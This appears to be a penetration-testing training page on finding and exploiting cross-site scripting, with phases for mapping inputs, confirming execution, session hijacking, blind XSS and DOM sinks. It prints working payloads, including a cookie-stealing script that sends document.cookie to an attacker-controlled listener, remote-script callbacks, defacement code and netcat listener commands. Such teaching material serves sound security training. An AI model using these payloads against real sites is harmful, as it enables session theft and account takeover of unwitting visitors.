Cross-Site Scripting (XSS)
Flowchart
Methodology
Phase 1: Map Inputs and Reflection Points
Ask youself
- Which inputs reach the rendered page? form fields, URL params, headers (
User-Agent,Cookie,Referer)? - Where does each input land back in the output: HTML body, an attribute, inside
<script>, inside a URL, or a CSS context? - Is the reflection reflected, stored, or DOM based?
# acts like canary tokensto find input in resposne / page
xss_probe_7531
"><b>xss_probe_7531</b>
'"></script><b>xss_probe_7531</b>- Enumerate every input that influences the response (fields, params, headers).
- Inject a unique benign marker into each input and find it in the response source.
- Classify the injection context (HTML, attribute, JS string, URL, CSS) this dictates the payload.
- Determine the XSS type: reflected, stored or DOM (client-side only).
- If output is never visible to you, treat it as blind XSS and move to Phase 4.
Phase 2: Confirm Execution
Ask youself
- Does the marker render as live HTML, or is it encoded (
<) i.e. is there output encoding in the way? - Does the context require a breakout first (close a tag/quote)?
- Are
<script>tags oralert()blocked here, so I need an event-handler or alternate sink? - Does
window.originconfirm the code runs on the main app and not a sandboxed cross-domain iframe?
#check if it is begin executed in the main app or in a sandboxed iframe
<script>alert(window.origin)</script>
<img src=x onerror=alert(window.origin)>
<svg onload=print()>
" onmouseover=alert(window.origin) x="- Confirm a popup.
- If encoded, test attribute/JS-context breakouts before assuming it is patched.
- If
<script>is stripped, switch to<img>/<svg>/<body>event handlers. - Read
window.originto verify the vulnerable form is the main app, not an iframe. - If stored, refresh the page to confirm persistence (fires for every visitor).
Phase 3: Weaponize (Session Hijacking / Defacement)
Ask youself
- Is the session cookie flagged
HttpOnly? If so,document.cookietheft fails pivot to in-browser actions (CSRF-style requests, account takeover). - Who triggers the payload? only me or every visitor?
- What is the highest-value action: cookie theft, performing a privileged request as the victim?
#exfil
<script>new Image().src='http://<LHOST>/c='+document.cookie</script>
# defacement
<script>document.body.style.background="#141d2b"</script>
<script>document.title='Owned'</script>
<script>document.getElementsByTagName('body')[0].innerHTML='<center><h1>Owned</h1></center>'</script>- Stand up a listener (
php -S 0.0.0.0:80ornc -lvnp 80) before sending payloads. - Steal and replay the cookie; if
HttpOnlyblocks it, perform an authenticated action in-browser instead. - For reflected XSS, build the crafted URL that carries the payload and validate it end-to-end.
- Capture evidence (request, executing
window.origin, received cookie) for reporting. - Carry stolen sessions/creds forward to authenticated areas and other services.
Phase 4: Blind XSS
Ask youself
- Which field fired? Name the remote script after the field so the callback identifies it.
- Which payload shape works?
- Which fields can I skip? Server-validated formats (email) and hashed fields (password) are unlikely sinks.
- Did the request arrive on my listener, the only proof of execution I get here?
# Add fiel names
<script src=http://<LHOST>/fullname></script>
'><script src=http://<LHOST>/username></script>
"><script src=http://<LHOST>/address></script>- Start a web server on
<LHOST>to receive callbacks. - Inject a remote-script payload whose path encodes the field name, one field at a time.
- Rotate breakout variants (
'>,">, raw) since the context is unknown. - Skip format-validated (email) and hashed (password) or phone Numeric fields to cut the search space.
- On a callback, record both the working payload and the vulnerable field name.
Methodology Recovery
If nothing executes after exhausting the above: re-check the context (you may be encoding for HTML when the sink is a JS string or attribute), try case/whitespace/encoding evasions against a filter, confirm there is no CSP blocking inline/remote scripts (Content-Security-Policy response header), and review client-side JS for a DOM sink you can reach directly. Then re-rank inputs and retry the simplest breakout first.
Source and Sink (DOM XSS)
- Source are the JavaScript object that takes input (e.g.
document.URL, atask=URL parameter, an input field). - Sink are the functions that writes that input into the DOM. If it writes raw, unsanitized input, it is exploitable.
Dangerous sinks: document.write(), element.innerHTML, element.outerHTML; jQuery add(), after(), append(), html(). Example vulnerable flow: input from the URL written straight into the page:
var pos = document.URL.indexOf("task=");
var task = document.URL.substring(pos + 5, document.URL.length);
document.getElementById("todo").innerHTML = "<b>Next Task:</b> " + decodeURIComponent(task);innerHTML will not execute <script> tags it inserts (a browser security feature), so DOM XSS via innerHTML uses self-triggering tags like <img src=x onerror=...> or <svg onload=...> instead.
Reference
Discovery Approaches
- Automated scanners (Burp Pro, ZAP, Nessus) and open-source tools (XSStrike , BruteXSS , XSSer ) inject payloads and diff the response. Fast but false-positive-prone always verify a reported hit manually.
- Manual payload testing work lists like PayloadsAllTheThings and payload-box/xss-payload-list . Most payloads target a specific context, so failures are expected; pick payloads that match your injection context.
- Code review the most reliable method. Tracing input from Source to Sink (front and back end) lets you craft a high-confidence payload and find bugs scanners miss.
XSS is not limited to visible form fields. Any input rendered on a page is a candidate, including HTTP headers like Cookie, User-Agent, and Referer when their values are echoed back.
Map to MITRE ATT&CK T1059.007 (JavaScript) and the OWASP A03:2021 Injection category for reporting.
Quiz
A stored XSS fires, but document.cookie returns an empty string even though you are logged in. What is the most likely cause and best next move?
Quiz